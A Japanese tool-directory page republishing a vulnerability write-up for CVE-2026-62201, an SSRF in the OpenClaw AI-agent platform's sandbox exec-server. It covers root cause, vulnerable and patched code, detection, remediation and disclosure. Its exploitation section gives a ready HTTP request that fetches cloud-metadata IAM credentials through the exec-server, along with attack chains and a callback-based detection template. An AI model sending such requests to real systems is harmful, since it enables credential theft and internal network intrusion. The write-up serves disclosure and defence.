Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/diedromeo/cve-2026-62201-openclaw-ssrf
脆弱性分析エクスプロイトウェブセキュリティクラウドセキュリティ
GitHubdiedromeo/cve-2026-62201-openclaw-ssrf

CVE-2026-62201-OpenClaw-SSRF

CVE-2026-62201の詳細分析: OpenClawサンドボックスexec-serverネットワークポリシーバイパス(SSRF)。根本原因、脆弱なコードとパッチ適用済みコードの比較、悪用方法、検出、是正策。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
1日前未レビュー
共有

CVE-2026-62201 — OpenClaw サンドボックス Exec-Server ネットワークポリシーバイパス(SSRF)

深刻度: 高 · CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918(サーバーサイドリクエストフォージェリ)


脆弱性の概要

フィールド値
アドバイザリGHSA-mgvr-6gvw-3rgr
NVDCVE-2026-62201
製品OpenClaw(npm パッケージ openclaw)— サンドボックス exec-server コンポーネント
影響を受けるバージョンopenclaw < 2026.6.6
修正済みバージョン2026.6.6 以降
根本原因exec-server に組み込まれた HTTP ヘルパー(SANDBOX_HTTP_REQUEST_SCRIPT)における SSRF 検証の欠如
修正コミット21410d1c — "fix(codex): guard sandbox http requests"
攻撃ベクトル攻撃者が制御する URL を指定した exec-server の http/request ハンドラへの HTTP POST
影響低権限の呼び出し元が、OpenClaw のネットワークポリシーがブロックすべき内部ネットワーク宛先(クラウドメタデータ、プライベート IP、localhost サービス)に到達可能

概要

OpenClaw は AI エージェントプラットフォームであり、そのサンドボックス exec-server は、エージェントが外部への Web 呼び出しを行うために使用する HTTP リクエストヘルパーを公開しています。2026.6.6 より前のバージョンでは、このヘルパーに SSRF 保護が一切なく 出荷されていました。信頼性の低い呼び出し元 — ゲートウェイオペレーターよりも信頼性が低いとプラットフォームが判断するエージェント、ツール、入力パスのいずれか — が任意の URL を送信し、exec-server にホストネットワーク内部からその URL を取得させることができました。

直接的な サンドボックス外部通信に適用されるネットワークポリシーチェックは、リクエストが exec-server HTTP インターフェースを経由した場合には 適用されませんでした。この不整合が脆弱性です。exec-server が内部ネットワークへの無制限の HTTP プロキシとして機能していました。


技術的な詳細

コンポーネント: サンドボックス Exec-Server

OpenClaw がサンドボックス内で Codex エージェントを実行する際、WebSocket/HTTP トランスポート上で JSON-RPC メソッドをホストするローカルの exec-server(extensions/codex/src/app-server/sandbox-exec-server.ts)を起動します。そのメソッドの 1 つである http/request は、エージェントが URL を取得できるようにします。実装は、リクエストを小さな組み込み Python スクリプト — SANDBOX_HTTP_REQUEST_SCRIPT — にパイプし、実際の urllib 処理を行います。

リクエストハンドラは extensions/codex/src/app-server/sandbox-exec-server/http.ts にあります。

脆弱なコード([email protected])

Python ヘルパーは URL を受け取り、スキームのみ をチェックしていました:

root@kitploit:~
# [email protected] より — SANDBOX_HTTP_REQUEST_SCRIPT(要約)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

これが唯一のゲートでした。以下は存在しませんでした:

  • ❌ ホスト名ブロックリスト(localhost、*.internal、metadata.google.internal など)
  • ❌ プライベート / リンクローカル / ループバック IP の拒否
  • ❌ DNS 解決チェック(ホスト名が内部 IP に解決される可能性)
  • ❌ リダイレクト検証 — http://169.254.169.254/ へのリダイレクトが盲目的に追跡される

結果: {"method":"GET","url":"http://<内部ホスト>/"} は内部レスポンスボディを呼び出し元に返しました。exec-server はホストネットワークへのオープンプロキシでした。

修正([email protected])

コミット 21410d1c は 両方の レイヤーに多層防御を追加しました:

レイヤー 1 — TypeScript 事前チェック(http.ts の assertSandboxHttpRequestTargetAllowed):

root@kitploit:~
function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

レイヤー 2 — Python ヘルパーの強化(組み込みスクリプトの assert_url_allowed):

  • ブロックされたホスト名: localhost、localhost.localdomain、metadata.google.internal、および *.localhost、*.local、*.internal サフィックス
  • クラウドメタデータ IP: 169.254.169.254、100.100.100.200、fd00:ec2::254
  • ブロックされた IPv4/IPv6 ネットワーク: CGNAT 100.64.0.0/10、ベンチマーク 198.18.0.0/15、ドキュメンテーション 2001:db8::/32 など
  • ipaddress 分類: ループバック、プライベート、リンクローカル、マルチキャスト、予約済み、未指定
  • DNS 解決の固定: ホスト名はリクエスト 前に 解決され、解決されたすべてのアドレスがチェックされ、チェックされたアドレスは実際の接続のために固定されます(DNS リバインディングを防止)
  • GuardedRedirectHandler: すべてのリダイレクトホップは、追跡される前に assert_url_allowed を再実行します
  • IPv6 埋め込み IPv4 の抽出: マップされた(::ffff:a.b.c.d)、6to4(2002::/16)、Teredo、ISATAP 形式がアンラップされ、埋め込まれた IPv4 がチェックされます
root@kitploit:~
def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

悪用方法

前提条件

  • 2026.6.6 より前の、サンドボックス exec-server が有効な実行中の OpenClaw インスタンス
  • exec-server HTTP エンドポイントに到達し、http/request を呼び出せること(プラットフォームはこれを 低権限 アクセスとして扱います — 例: プラグイン、ツール、入力パス。ゲートウェイオペレーターではありません)

手順

ステップ 1 — 内部サービスをターゲットにしたリクエストを送信:

root@kitploit:~
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

ステップ 2 — 脆弱なレスポンス(HTTP 200):

exec-server は内部 URL を取得し、ボディを呼び出し元に返しました — bodyBase64 として base64 ラップされています:

root@kitploit:~
{
  "status": 200,
  "headers": [{"name":"Content-Type","value":"application/json"}],
  "bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}

デコード後:

root@kitploit:~
{
  "secret": "...",
  "instanceId": "...",
  "region": "us-east-1",
  "role": "admin-role"
}

ステップ 3 — 修正後のレスポンス(HTTP 502):

root@kitploit:~
{
  "error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}

修正済みバージョンでは、内部宛先は exec-server 経由で到達できません。

攻撃チェーンの例

  1. クラウドメタデータの外部送信 — http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM 認証情報
  2. ピボティング — RFC 1918 空間上の管理コンソール、データベース、その他の内部サービスに到達(これらは exec-server から到達可能であるべきではなかった)
  3. ローカルホストサービス — http://127.0.0.1:<ポート>/ で同一ホスト上の認証なし管理インターフェースにアクセス

影響と CVSS の根拠

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 高

  • PR:L — 悪用には低権限アクセス(信頼性の低い呼び出し元 / 設定された入力パス)が必要であり、ゲートウェイオペレーター権限は不要です。ネットワーク 攻撃面が危険な理由です: exec-server はデプロイメントネットワークの内部に存在します。
  • S:C — スコープが変更されます: 侵害は exec-server に限定されず、内部ネットワーク(メタデータサービス、プライベートサービス)にまで及びます。
  • C:H / I:N / A:N — 主な影響は機密性です: 内部宛先からのデータ外部送信。この経路による直接的な書き込みや可用性への影響はありません。

アドバイザリの枠組みは重要です: OpenClaw の信頼されたオペレーターモデルは、ゲートウェイオペレーターが信頼されていることを前提としています。バグは、信頼性の低い サーフェス(プラグイン、ツール、入力パス)が、ポリシーがブロックすべき宛先に到達できることです。


検出

Nuclei

検出テンプレートが利用可能です — OAST ベースで、内部トポロジーの事前知識は不要です:

root@kitploit:~
http:
  - raw:
      - |
        POST /exec/http HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "bodyBase64"

上流に提出済み: projectdiscovery/nuclei-templates#17183

ログとテレメトリのシグナル

  • exec-server プロセスから RFC 1918 / リンクローカル / ループバックアドレスへの送信リクエスト
  • JSON ボディにプライベート/内部宛先を指す url フィールドを含む /exec/http(または同等の WebSocket JSON-RPC)への POST リクエスト
  • exec-server からクラウドメタデータ IP(169.254.169.254、100.100.100.200)へのリクエスト
  • 異常な外部通信: exec-server が触れるべきでないポート/サービスへの接続

修復策

  1. アップグレード — npm install [email protected](またはそれ以降)。修正により、TS 境界と Python ヘルパー内の両方で完全な SSRF 検証が追加されます。
  2. exec-server アクセスの制限 — 信頼されたエージェント/ツールにのみ公開し、信頼性の低い入力パスからはファイアウォールで隔離します。
  3. ツールとチャネルの許可リストを絞り込む — エージェントが呼び出せるものに対する最小権限。
  4. ネットワーク外部通信の制御 — すぐにアップグレードできない場合は、補完的制御としてネットワークレイヤーで exec-server ホストからメタデータエンドポイントと内部レンジへの到達をブロックします。
  5. 信頼関係のないユーザー間での共有ゲートウェイを回避 — パッチ適用まで。

開示のタイムライン

  • 報告 — OpenClaw メンテナーへ(GitHub Security Advisory プロセス)
  • アドバイザリ公開: GHSA-mgvr-6gvw-3rgr — 高深刻度
  • CVE 採番: CVE-2026-62201
  • 修正リリース: 2026.6.6

参考情報

  • GHSA-mgvr-6gvw-3rgr — OpenClaw セキュリティアドバイザリ
  • NVD — CVE-2026-62201
  • VulnCheck アドバイザリ
  • 修正コミット 21410d1c
  • 脆弱なソース — sandbox-exec-server/http.ts

責任ある開示

この調査は、公開された脆弱性データと、隔離されたラボにデプロイされたソフトウェアに対して実施されました。本番システム、第三者ネットワーク、ゼロデイ調査は関与していません。ここで使用されるすべての PoC は無害な読み取り専用リクエストです。

ツールをダウンロード